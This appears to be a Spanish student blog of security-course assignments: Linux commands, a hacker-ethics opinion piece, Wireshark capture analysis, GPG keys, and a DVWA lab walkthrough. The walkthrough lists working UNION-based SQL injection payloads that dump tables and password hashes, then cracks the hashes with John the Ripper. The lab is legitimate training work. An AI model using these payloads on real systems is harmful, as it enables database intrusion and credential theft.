Parte fundamental de todo esto, no solo de ser un Ethical Hacking, o simplemente pertenecer a esta comunidad, es tener amplio manejo en los sistemas Linux, principalmente su terminal (prompt  en windows), ya que es desde aquí, donde se realizan la mayoria de las cosas, aunque muchas herramientas ahora vienen con su interfaz gráfica. Por ejemplo el Framework de Metaesploit, tiene interfaz gráfica en su versión paga (yo no tengo para pagarla XD), entonces utilizo la versión free, la cual se ejecuta desde la consola (MSF).

Aquí, les dejo una lista de comandos básicos con los cuales empezar nuestra practica dentro de la terminal de Linux.

pwd : Muestra en que ruta estamos localizados

cd: Cambio de Directorio

mkdir : Crea un Directorio

ls : Permite listar directorios

cp : Permite copiar archivos

mv : Mover o renombrar archivos

tar  Para Comprimir/Descomprimir Archivos/Copias de Seguridad

rm : Comando para borrar un archivo, o una carpeta.

cat : Permite la visualización de archivos.

clear : Limpia la pantalla (Atajo: ctrl + l)

passwd : Se usa para cambiar el password de un usuario

chmod : Permisos sobre archivos

./nombre_script : Para ejecutar un Script


Continuando con los conocimientos básicos, veremos el manejo de usuarios, dentro de la terminal de Kali usaremos los siguientes comandos:

adduser –home /home/diplomado «nombre de usuario»

1_ adduser

El anterior comando crea un usuario llamado neoxcodsp, el cual va a tener como directorio
de trabajo la ruta /home/codsp . (El sistema solicitara una clave y algunos datos de usuario
opcionales).

Posteriormente asignaremos (o cambiaremos) la contraseña para el usuario creado anteriormente con el siguiente comando:

passwd «nombre de usuario»

2_ passwd

el comando anterior, nos solicitara la nueva contraseña y la confirmación de la misma.

Después, ingresamos con el usuario que creamos desde la terminal, colocando el comando:

login

3_ login

Una vez ejecutemos el comando anterior, nos solicitara el nombre de usuario con el cual deseamos acceder (neoxcodsp) y la contraseña del mismo

Cuando ya estamos «logueados» con el usuario que creamos, utilizaremos el comando

who am i

4_ who am i

Este comando nos indicara el usuario con el que estamos «logueados», y desde que fecha fue creado.

Para finalizar, utilizaremos el comando que nos permitirá «cerrar la sesión» en dicha terminal del usuario con el cual estábamos logueados.

exit

5_ exit


Siguiendo nuestro post de introducción, continuaremos con los comandos para el manejo de directorios, en los cuales estudiamos la creación y navegación de los mismos:

En una nueva terminal…

comenzaremos utilizando el comando:

pwd

6_ pwd

El cual nos permitirá saber en que ruta (directorio) nos encontramos actualmente, en la imagen anterior, vemos que nos encontramos en el directorio /root.

Continuaremos ahora con el comando siguiente, el cual nos permite cambiar o navegar entre directorios,

cd

Para este ejemplo, navegaremos desde el /root (ubicación actual), hasta el siguiente directorio /usr/share/metasploit-framework

7_ cd

Nota: La terminal de linux, tiene la opción de «autocompletar». En el ejemplo anterior, podríamos escribir el siguiente comando:

cd /usr/ + TAB

8_ cd tab

Al presionar TAB, la terminal nos traerá las diferentes opciones o directorios existentes dentro de la carpeta usr. Para aprender el uso de esta técnica, se deben realizar diferentes ejercicios presionándola sin haber escrito todo el nombre del directorio, y escribiendolo por completo, para entender su funcionamiento.

Siguiendo con el ejemplo anterior, una vez estemos situados en /usr/share/metasploit-framework , presionaremos el siguiente comando:

ls -l

9_ ls -l

Este comando nos permitira listar lo que contiene el directorio en el cual nos encontramos, la opción «-l»; nos muestra los permisos que posee en cada uno de ellos.

Ahora nos ubicaremos en la raiz del equipo utilizando el comando cd /, y posteriormente ingresaremos al directorio /tmp

10_ cd tmp

Dentro de el, vamos a crear la siguiente estructura de directorios:

11_ ruta

Para crear una nueva carpeta dentro del directorio en el que ya nos encontramos (tmp) debemos utilizar el siguiente comando:

mkdir «nombre de carpeta»

11_ mkdir

En el comando anterior, creamos la carpeta o el directorio «Hacking«, una vez dentro de este (cd Hacking), creamos la estructura descrita anteriormente.

Aquí les dejo los comandos utilizados para la creación de ella:

12_ construccion

En la imagen anterior, también podemos evidenciar el uso del comando «cd ..», el cual nos permite regresar al directorio anterior.

Como lo vemos en la estructura de directorios, debemos crear un archivo llamado clase.txt, dentro del directorio superscan, para este proceso, nos ubicaremos dentro del directorio y usaremos el siguiente comando:

nano «nombre del archivo»

13_ nano

Una vez ejecutemos este comando se abrirá algo similar a un bloc de notas en Windows dentro de nuestra terminal, el cual nos permitirá editar nuestro archivo .txt

14_ nano

Una vez finalizamos la edición de nuestro archivo, en la parte inferior nos aparecen las opciones que tenemos, utilizaremos CTRL + X, el cual indica «SALIR», después nos preguntara si deseamos guardar los cambios, presionamos yes/si para salvar los cambios realizados.

Ahora, continuemos con la visualización  de los archivos que acabamos de crear, para ello linux cuenta con la herramienta CAT, a continuación veamos su funcionamiento:

cat «nombre del archivo»

15_ cat

En la imagen anterior, vemos lo que contiene el archivo .txt, utilizando la herramienta cat.

Siguiendo con nuestra «clase», continuemos ahora con el siguiente comando, el cual nos permite copiar los archivos.

cp «archivo/directorio fuente» «archivo/directorio destino»

Para este ejercicio, copiamos el archivo llamado nc.exe, el cual esta localizado en la ruta /usr/share/windows-binaries y copiarlo  a la ruta /tmp/hacking/footprinting/googlehacking/dns

16_ cp

En el ejercicio anterior, quiero mostrar que no es necesario encontrarse en el directorio en el cual se encuentra el archivo que deseamos copiar, sino también, podemos poner la ruta que conlleva al archivo seguida de la ruta de destino.

Para el siguiente ejercicio, utilizaremos un comando que nos permitirá buscar o localizar un archivo o directorio

locate «nombre de archivo/directorio»

17_ locate

En la imagen anterior vemos los directorios en los cuales se encuentra el archivo nc.exe.


De esta manera hemos terminado la introducción y la explicación de algunos conocimientos básicos que se deben tener… Estaré postiando otras cosas que seguro serán de su interes.

Que tengan una excelente noche…

Neox…

Opiniones… Tarea 7…

hackers

Hola, de nuevo a tod@s….

Respondiendo a algunas que preguntas que quisiera compartir…

Mi opinión….

¿Qué opinas sobre la acción realizada contra Hacking Team? ¿Consideras que los hackers se han excedido en sus ‘funciones’?Cuando aparece algo que daña o quebranta en un punto en cualquier sociedad, cultura, llamemolo como se quiera, provoca caos, esto genera miles de opiniones de un lado y del otro. Personalmente opino que se debe tener un objetivo, un ETICA, saber de que lado estoy y hacia donde voy… Considerando que el conocimiento que podemos llegar a obtener y los alcances en nuestra cultura son envidiados por muchos.. es por esto mismo que debemos tener aun mas claro, quienes somos, que queremos y hacia donde vamos. Considero que Hacking Team se desvió…

¿Cuáles crees que deberían ser los límites del hacker?** El limite de un hacker es su ETICA, El limite esta en si cruzas esa delgada linea que divide lo bueno de lo malo, en la cual todos los que hacemos parte de este mundo vivimos…

¿Piensas que la ciudadanía es consciente del rol que los hackers pueden jugar en favor de su propia seguridad en la red detectando aquellos sitios que no son seguros ya sea porque ponen en riesgo los datos de los usuarios o bien porque hacen un uso ilegítimos de los mismos? Considero que gran parte, tal vez el 70% de la sociedad apenas esta abriendo los ojos a este mundo, son muy pocas las personas que le dan un verdadero valor a su información, de aquí, deriva el poco, por no decir nulo, conocimiento a cerca de nosotros.. personas que para muchos somos Dioses.. para otros Demonios…

Cuando la sociedad se entere en que era esta, entonces el significado que tienen de nosotros cambiará….

Saludos… Neox!

SQL Injection DVWA… Tarea 5!

De nuevo… Hola a todo@s

hoy hablare y dare unos ejemplos de SQL injection o inyección SQL, como es habitual, un poco de teoría para comenzar

Método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar operaciones sobre una base de datos.

El origen de la vulnerabilidad radica en el incorrecto chequeo o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro.

Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.

Para este ejemplo manejaremos una maquina virtual que puedes descargar aqui, utilizando virtualbox, podemos importarla y realizar todo lo que veremos aquí en este post.

1

Una vez importada la maquina virtual, configuraremos una adaptador de red solo anfitrión para nuestra maquina virtual. Después de iniciada la MV, nos mostrara una dirección IP, la cual ingresaremos como URL dentro de un navegador en nuestro equipo anfitrión. Una vez hecho esto, el navegador nos mostrará la siguiente pantalla:

2

Para conocer un poco la historia y todas las funcionalidades de DVWA, aqui esta su sitio web.

el usuario y contraseña para ingresar son:

user: admin

password: password

Para este ejemplo, una vez estemos dentro de la herramienta, bajaremos los niveles de seguridad a los minimos: En el panel izquierdo: DVWA Security – low – submit

Una vez hecho esto, clickeamos en SQL Injection, ubicado en el mismo panel.

3

Situados aqui, comenzaremos con nuestros ejercicios:

Primer Ejercicio:

Para comenzar, digitamos 1 en el cuadro de texto

  • 1

4

Para este ejemplo explotamos la siguiente sentencia PHP:

  • $getid = «SELECT first_name, last_name FROM users WHERE user_id = ‘$id'»;

Para que sea un poco mas sencillo de ententer, la sentencia anterior, realiza un SELECT de las columnas first_name, last_name, de la tabla users donde el id del usuario es igual a = «1».

Segundo Ejercicio:

Aquí ingresamos la siguiente sentencia en el cuadro de texto:

  • %’ or ‘0’=’0

Explotaremos una consulta realizada por MYSQL

  • mysql> SELECT first_name, last_name FROM users WHERE user_id = ‘%’ or ‘0’=’0′;

Lo que sucede en este caso, es que el código injectado hace que la consulta se vuelva «verdadera», por que?

Lo que estamos haciendo es que la consulta evalue un id = % o 0 = 0,  lo cual hace que la consulta se vuelva verdadera para todos los registros de la tabla, por lo tante trae todos los existentes.

5

En la imagen anterior, vemos los registros existentes dentro de la tabla para los campos, first_name y last_name.

Tercer Ejercicio:

Ingrese el siguiente código:

  • %’ or 0=0 union select null, version() #

Para este ejemplo estamos utilizando el ejercicio anterior, uniendole a la consulta, la solicito de versión  del motor de base de datos (mysql)

6

Vemos que la version es: 5.5.44

Cuarto Ejercicio:

El siguiente código debe ser ingresado:

  • %’ or 0=0 union select null, user() #

Funciona de la misma forma que el ejercicio anterior, con la diferencia de que aquí no solicitamos la versión del motor de base de datos, sino el usuario quien lo administra

7

La consulta nos muestra que el usuario es : dvwa.

Quinto Ejercicio:

Ingresa el siguiente codigo:

  • %’ or 0=0 union select null, database() #

8

De esta manera podremos conocer el nombre de la base de datos en la cual se encuentran alojados dichos registros.

Sexto Ejercicio:

  • %’ and 1=0 union select null, table_name from information_schema.tables #

9

Aquí encontramos la información de la base de datos Information_schema, en la cual se almacena la información acerca de todas las otras bases de datos del servidor mysql

Septimpo Ejercicio:

Código a inyectar:

  • %’ and 1=0 union select null, table_name from information_schema.tables where table_name like ‘user%’#

10

Para este ejemplo Filtramos la información anterior, solicitando las tablas existentes dentro de informtion_schema que contengan el prefijo «users»

Octavo Ejercicio:

  • %’ and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = ‘users’ #

11

Inyectando este código, logramos mostrar todas las columnas de la tabla usuario, vemos que existen las siguientes:

user_id

first_name

last_name

user

password

avatar

Noveno Ejercicio:

Código:

  • %’ and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

12

Solicitamos los registros existentes en la tabla usuario, teniendo esto ya tenemos los nombre de usuario y contraseña de dichos usuarios.

Sin embargo, la contraseña se encuentra en HASH, por lo tanto utilizaremos la herramienta John the Ripper instalada en Kali, sino lo tienen su pagina -> aqui

Comenzaremos creando un archivo txt concatenando cada una de los usuarios y contraseñas de la siguiente manera:

«usuario1″:»hashContraseña2»

«usuario2″:»hashContraseña3»

«usuario3″:»hashContraseña3»

13

Hecho esto, guardamos nuestro archivo y ejecutamos el siguiente comando dentro de la terminar de Linux (John the Ripper)

  • john –format=raw-MD5 «archivo.txt»

14

Utilizando el comando anterior se decifran las contraseñas almacenadas dentro la base datos, tal como se ve en la imagen anterior.

Asi terminamos los ejercicios de este post,

SQL Injection es mucho mas de lo que les acabo de mostrar, las herramientas empleadas son mucho mas grandes de lo que les mostre…

Saludos!!!

Neox!

Analizador de Paquetes «Wireshark». Tarea 4

wireshark

De nuevo… A tod@s Hola….

Hoy hablare y mostrare algunos ejemplos de los analizadores de protocolos. Herramienta utilizado para analizar (valga la redundancia) los paquetes o trazas que viajan por la red.

Wireshark antes conocido como Ethereal, es un analizador de protocolos muy popular. Es software libre y es una herramienta fantástica para investigar qué está pasando en una red y, también, para aprender sobre protocolos de comunicaciones.

La funcionalidad que provee es similar a la de tcpdump, pero añade una interfaz gráfica y muchas opciones de organización y filtrado de información. Así, permite ver todo el tráfico que pasa a través de una red (usualmente una red Ethernet, aunque es compatible con algunas otras) estableciendo la configuración en modo promiscuo. También incluye una versión basada en texto llamada tshark.

Link de descarga

https://www.wireshark.org/#download

Una vista de la intergaz de wireshark

1

Para este post usaremos un archivo de trazas capturadas con anterioridad, es decir, una vez realizamos la captura de las trazas de la red (sniffear), podemos almacenar dicha captura dentro de un archivo, para poder ser analizado después con wireshark.

  1. Caputra de Protocolo inseguro – Telnet (Descargar archivo aqui)

Para este ejercicio, daremos respuesta a las siguientes preguntas:

  • ¿Qué usuario y contraseña se ha utilizado para acceder al servidor de Telnet?
  • ¿Qué sistema operativo corre en la máquina?
  • ¿Qué comandos se ejecutan en esta sesión?

Una vez abramos nuestro archivo (.cap) obtendremos la siguiente interfaz, la cual esta compuesta por las multiples tramas del procolo telnet que fueron capturadas al sniffear la red.

2

Ahora explicare un poco la interfaz, principalmente esta dividida en tres paneles.

  1. Compuesto de las diferentes tramas que fueron caputaradas
  2. Permite visualizar detalladamente las cabeceras que componen la trama seleccionada del panel 1.
  3. Nos permite ver el cuerpo del paquete

Para observar de manera mas especifica y comoda el trafico podemos realizar diferentes tipos de filtros. Para este ejemplo, aplicaremos el filtro para el protocolo

3

Damos click derecho en el panel dos(2), y Follow TCP stream. Esta opción funciona cuando estamos analizando protocolos basados en TCP, le permitirá ver el flujo de datos TCP de la manera mas similar a como se ve en la capa de aplicación:

5

Aquí visualizaremos muchísimo mas fácil el usuario, password y sistema operativo utilizado en la apertura de sesión de Telnet.

6

Usuario: fake

Contraseña: user

Sistema Operativo: OpenBSD

También podemos visualizar los comandos que fueron utilizados durante la sesión Telnet.

7

$ls

$ls -a

$ping http://www.yahoo.com

$exit

        2. Captura de Protocolo seguro – SSL(Descargar archivo aqui)

Para tener en cuenta antes de continuar:

SSL (Secure Socket Layers) es un proceso que administra la seguridad de las transacciones que se realizan a través de Internet. El estándar SSL fue desarrollado por Netscape, junto conMastercard, Bank of America, MCI y Silicon Graphics. Se basa en un proceso de cifrado de clave pública que garantiza la seguridad de los datos que se envían a través de Internet. Su principio consiste en el establecimiento de un canal de comunicación seguro (cifrado) entre dos equipos (el cliente y el servidor) después de una fase de autenticación.

El sistema SSL es independiente del protocolo utilizado; esto significa que puede asegurar transacciones realizadas en la Web a través del protocolo HTTP y también conexiones a través de los protocolos FTP, POP e IMAP. SSL actúa como una capa adicional que permite garantizar la seguridad de los datos y que se ubica entre la capa de la aplicación y la capa de transporte ( por ejemplo, el protocolo TCP).

Aqui les dejo un enlace para que lean y entiendan el funcionamiento de este protocolo. De esta manera, sera un poco mas facil, entender la captura de Wireshark

https://publib.boulder.ibm.com/tividd/td/TRM/SC23-4822-00/es_ES/HTML/user277.htm

Para este ejercicio, daremos respuesta a las siguientes preguntas:

  • ¿Puedes identificar en qué paquete de la trama el servidor envía el certificado?
  • ¿El certificado va en claro o está cifrado? ¿Puedes ver, por ejemplo, qué autoridad ha emitido el certificado?
  • ¿Qué asegura el certificado, la identidad del servidor o del cliente?

A continuación veremos que en los paquetes 2, 11 y 18 de la captura se envía el certificado por parte del navegador.

8

Dando click derecho sobre la trama en el cual se encuentra el certificado, follow TCP stream, podemos evidenciar que el certificado se envia de manera cifrada (RSA) y que fue emitido por:  www.versign.co

9

El certificado es asegurado por la identidad del servidor, sin embargo, el servidor tambien puede solicitar un certificado al cliente.

        3. Captura de Protocolo seguro – SSH(Descargar archivo aqui)

Respondamos ahora las siguientes preguntas,

  • ¿Puedes ver a partir de qué paquete comienza el tráfico cifrado?
  • ¿Qué protocolos viajan cifrados, todos (IP, TCP…) o alguno en particular?
  • ¿Es posible ver alguna información de usuario como contraseñas de acceso?

Podemos evidencias a partir de que paquete comienza el trafico cifrado:  numero veinte(20), para nuestro ejercicio

10

Para dar respuesta a nuestra segunda pregunta, debemos revisar detalladamente cada una de las tramas que hay un nuestra captura, al menos, algunas de cada protocolo, con el fin de visualizar que tramas viajan encriptadas y cuales no, culminando nuestro análisis, concluimos que viaja encriptada, únicamente las tramas del protocolo SSH

11

Nuestra ultima pregunta, se responde con las anteriores, como vimos, toda la información viaja encriptada, al menos para el protocolo SSH (en nuestro ejemplo), por lo tanto, es imposible visualizar o extraer contraseñas de nuestras tramas.

Pido disculpas por demorarme, por tardarme, prometo no volverlo a hacer. Esten pendientes de mi proximo Post

Saludos,

Neox.

Criptografía. Llaves Publicas y Privadas. Tarea 3

A tod@s… Hola.

seguridadinformatica

Hoy, hablaremos de Criptografía, específicamente mostrare como crear y utilizar las llaves publicas y privadas en el proceso de Encriptación y firma de correos electrónicos, comencemos conociendo los conceptos que se van a manejar en este post.

Criptografía: La criptografía (del griego κρύπτω krypto, «oculto», y γράφω graphos, «escribir», literalmente «escritura oculta»)

Su objetivo principal es cifrar/descifrar la informacion por medio tecnicas especiales y simbolos para enviar un mensaje ( informacion) por un canal seguro / no seguro a un receptor quien a su vez estara en capacidad de leer la informacion como persona

Criptografía Simétrica: La criptografía simétrica es el método criptográfico que usa una misma clave para cifrar
y descifrar mensajes. Las dos partes que se comunican han de ponerse de acuerdo de
antemano sobre la clave a usar. Una vez ambas tienen acceso a esta clave, el remitente
cifra un mensaje usándola, lo envía al destinatario, y éste lo descifra con la misma.”

CS

Criptografia Asimetrica: La criptografía asimétrica es por definición aquella que utiliza dos claves diferentes para cada usuario, una para cifrar que se le llama clave pública y otra para descifrar que es la clave privada.
El nacimiento de la criptografía asimétrica se dio al estar buscando un modo más práctico de intercambiar las llaves simétricas.

IMPORTANTE: 

Actualmente la Criptografía asimétrica es muy usada; sus dos principales aplicaciones son el intercambio de claves publicas y la firma digital.

CA

Firma Digital:  Se puede definir como una cadena de caracteres que se agrega a un archivo digital que hace el mismo papel que la firma convencional que se escribe en un documento de papel ordinario.

Entrando mas en el tema central del Post, la herramienta que vamos a utilizar sera GPG2 sobre la terminal de Kali Linux 2.0, esta herramienta ya viene instalado en el Sistema Operativo.

Como funciona PGP?

Esta criptografía se basa en dos claves distintas . Una de las claves se denomina pública y la otra privada. La clave pública (como su nombre indica) puede hacerse pública, por contra la clave privada sólo es conocida por el propietario de la misma. Cuando una persona quiere firmar digitalmente un mensaje usa su clave privada, de esta forma cualquier persona que posea la clave pública del remitente podrá comprobar que el mensaje ha sido firmado correctamente. Para cifrar un mensaje se usa la clave pública del destinatario, así cuando éste reciba el mensaje podrá usar su clave privada para descifrarlo y por tanto sólo él puede ver el contenido del mensaje

Para Windows tambien existen diversas herramientas de criptografía, entre las mas utilizadas:

Windows:

Mac OS X:

Linux:

También existen otros software que tienen integrado herramientas de Criptoanalis:

  • OpenSSL
  • TrueCrypt

Ahora veremos el funcionamiento del juego de llaves publica y privada, desde el proceso de creación, hasta el proceso de encriptación y desencriptación de correos.

1.Creación de llaves.

$ gpg2 –gen-key

Comenzamos el proceso de la creación de la llave publica y privada

1

Posteriormente, debemos indicar el tipo de cifrado que usaremos para nuestras llaves. La diferencia entre estas opciones, esta en el tipo de algoritmo a utilizar. Usaremos la opción dos (2) DSA y ElGamal

Paso siguiente, escogeremos el tamaño de la llave, la opción mas recomendada es 2048, esta es la mas segura, según mi experiencia.

Deberemos escoger el tiempo de caducidad de la llave, esto hace referencia al tiempo de validez que tendrá dicho juego de llaves, para nuestro ejemplo, nuestras llaves no tendrán fecha de caducidad.

2

Después, debemos ingresar nuestro nombre, apellido, correo electrónico y un comentario (este ultimo es opcional).

2. Exportación de llaves

$ gpg2 –export nombre_usuario > nombre_usuario-pub.gpg

Con este comando exportaremos en Binario nuestra llave publica.

3

Seguido importamos la llave publica que nos compartieron

$ gpg2 –import nombre_usuario2-pub.gpg

Generar un archivo de texto y firmarlo y cifrarlo.

Modo binario

$ gpg2 –recipient nombre_usuario2 –sign –encrypt test.txt

Modo ASCII

$ gpg2 –recipient nombre_usuario2 –armor –sign –encrypt test.txt

4

Después digitamos la clave que se le asigno y posteriormente gpg2 nos genera un nuevo archivo .pgp, el cual ya se encuentra encriptado.

5

Enviar y recibir el mensaje cifrado al compañero de la tarea

Después de esto, pasaremos a desencriptar los archivos que nos sean enviados con los siguientes pasos.

Descifrar el mensaje recibido mediante nuestra clave privada, el proceso verifica la firma

Modo binario

$ gpg2 –decrypt test.txt.gpg > test.txt

Modo ASCII

$ gpg2 –decrypt test.txt.gpg > test.asc.txt

Estos son los pasos a seguir para generar una llave publica, exportarlas, importarlas y un pequeño ejemplo de su funcionamiento.

Saludos!

Neox!